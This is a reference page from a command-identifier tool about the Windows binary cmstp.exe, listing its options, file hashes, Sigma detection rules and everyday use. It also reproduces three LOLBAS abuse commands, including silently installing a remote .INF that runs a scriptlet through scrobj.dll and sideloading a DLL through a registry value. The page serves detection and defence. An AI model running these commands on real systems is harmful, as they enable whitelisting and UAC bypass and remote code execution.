Ceplin Command Identifier

Identifier / Programs / Windows

cmstp.exe

Installs or removes a Connection Manager service profile. Windows commands reference

LOLBAS Execute, AWL Bypass 6 Sigma rules name it 2 ATT&CK techniques 3 documented commands 12 known copies with hashes

Opens the identifier with your command. It is read in your browser and sent nowhere.

How cmstp.exe is abused

documented by LOLBAS

Execute T1218.003 System Binary Proxy Execution: CMSTP

-ni
/sSpecifies that the service profile should be installed or uninstalled silently (without prompting for user response or displaying verification message). Windows commands reference

AWL Bypass T1218.003 System Binary Proxy Execution: CMSTP

-ni
/sSpecifies that the service profile should be installed or uninstalled silently (without prompting for user response or displaying verification message). Windows commands reference

Execute T1218.003 System Binary Proxy Execution: CMSTP

/nfSpecifies that the support files should not be installed. Windows commands reference

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for cmstp.exe.

3 documented commands

from LOLBAS, each read by the identifier

Execute T1218.003 System Binary Proxy Execution: CMSTP User privileges

Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

cmstp.exe /ni /s {PATH_ABSOLUTE:.inf}
Identify

Trips 1 Sigma rule: highBypass UAC via CMSTP by E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community

AWL Bypass T1218.003 System Binary Proxy Execution: CMSTP User privileges

Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

cmstp.exe /ni /s {REMOTEURL:.inf}
Identify

Trips 1 Sigma rule: highBypass UAC via CMSTP by E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community

Execute T1218.003 System Binary Proxy Execution: CMSTP Administrator privileges

cmstp.exe reads the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll registry value and passes its data directly to LoadLibrary. By modifying this registry key and setting it to an attack-controlled DLL, this will sideload the DLL via cmstp.exe.

cmstp.exe /nf
Identify

Trips no Sigma process-creation rule.

2 of the 3 commands the identifier reads trip a Sigma process-creation rule; 1 trips none. These commands and their descriptions are from LOLBAS’s entry for cmstp.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for cmstp.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules
highBypass UAC via CMSTPE.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community
highSuspicious Microsoft OneNote Child ProcessTim Rauch (Nextron Systems), Nasreddine Bencherchali (Nextron Systems), Elastic (idea)
highSuspicious Microsoft Office Child ProcessFlorian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io
highPotential Defense Evasion Via Rename Of Highly Relevant BinariesMatthew Green - @mgreen27, Florian Roth (Nextron Systems), frack113
highSystem File Execution Location AnomalyFlorian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali (Nextron Systems)
mediumLOLBIN Execution From Abnormal DriveChristopher Peacock '@securepeacock', SCYTHE '@scythe_io', Angelo Violetti - SEC Consult '@angelo_violetti', Aaron Herman
T1218.003System Binary Proxy Execution: CMSTP
T1548.002Abuse Elevation Control Mechanism: Bypass User Account Control

Is it the real cmstp.exe?

file version info and known copies
Installed inC:\Windows\system32\
C:\Windows\SysWOW64\
Signed byMicrosoft Windows
ProductMicrosoft(R) Connection Manager, Microsoft Corporation
DescriptionMicrosoft Connection Manager Profile Installer

12 known copies

7.2.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\cmstp.exe · signed by Microsoft Windows

5142f9ba10100441b5ae60484a2230fdeb7dbc0d2a6c099e9e560ddb9b6baf88

7.2.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\cmstp.exe · signed by Microsoft Windows

ee040a800bf4d2b34e883e31702517ed5a97273c2149ffb925fab98256ffc2cd

7.2.19041.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\cmstp.exe · signed by Microsoft Windows

2eb8278210434ced87711889ba19582b7a104190310d2a06f0855a9cf5772d11

7.2.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\cmstp.exe · signed by Microsoft Windows

f2d3905ee38b2b5c0b724d582f14eb1db7621ffb8f3826df686a20784341614c

7.2.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\cmstp.exe · signed by Microsoft Windows

395edcf5709703fd2531844bb16019bbf3f106bb41f74856acd52ad837f11184

7.2.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\cmstp.exe · signed by Microsoft Windows

6391b1b331af29c25dd8e187e08e733746e078108131e3fd44979e0da1ea2ceb

7.2.17763.1 (WinBuild.160101.0800) · C:\Windows\system32\cmstp.exe · signed by Microsoft Windows

db3f360bdb292c0679c13149ac6f454f7dce768bde559d87ce718023a6985a0d

7.2.17763.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\cmstp.exe · signed by Microsoft Windows

e3ea8b0b905f0cb4b355c0650672962a18212420aa75732b689439fbd956b208

7.2.14393.0 (rs1_release.160715-1616) · C:\Windows\SysWOW64\cmstp.exe · signed by Microsoft Windows

1f1e15022195e4c297c5184262a5f8b95689a67fa63d863f5cbb7674969a0c2e

7.2.14393.0 (rs1_release.160715-1616) · C:\Windows\system32\cmstp.exe · signed by Microsoft Windows

3d95ecacacf64066ac25b17e8a458003a000bae45f5a70d660afb7a8d88d4f00

7.02.9600.16384 (winblue_rtm.130821-1623) · C:\windows\SysWOW64\cmstp.exe · not signed

0bc5838c1a531114851b2db02094856f786da369fb69199d9e36ec71ba3cc04a

7.02.9600.16384 (winblue_rtm.130821-1623) · C:\windows\system32\cmstp.exe · not signed

6aa5cf9836357a3a75ef20a5ccd5f57363c27ca06fe6ffc30958fe552527d7c6

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.

Everyday use

from tldr-pages, CC BY 4.0

Install a specific profile

cmstp "path\to\profile_file"Identify

Install without creating a desktop shortcut

cmstp /ns "path\to\profile_file"Identify

Install without checking for dependencies

cmstp /nf "path\to\profile_file"Identify
/nfSpecifies that the support files should not be installed. Windows commands reference

Matches LOLBAS abuse: Execute (T1218.003)

Of the 3 examples the identifier reads, 1 matches LOLBAS abuse or trips a Sigma process-creation rule.

Options

5 in Windows commands reference
Show every option of cmstp.exe
/qSpecifies that the profile should be installed without prompting the user.
/nfSpecifies that the support files should not be installed.
/sSpecifies that the service profile should be installed or uninstalled silently (without prompting for user response or displaying verification message).
/uSpecifies that the service profile should be uninstalled.
/?Displays help at the command prompt.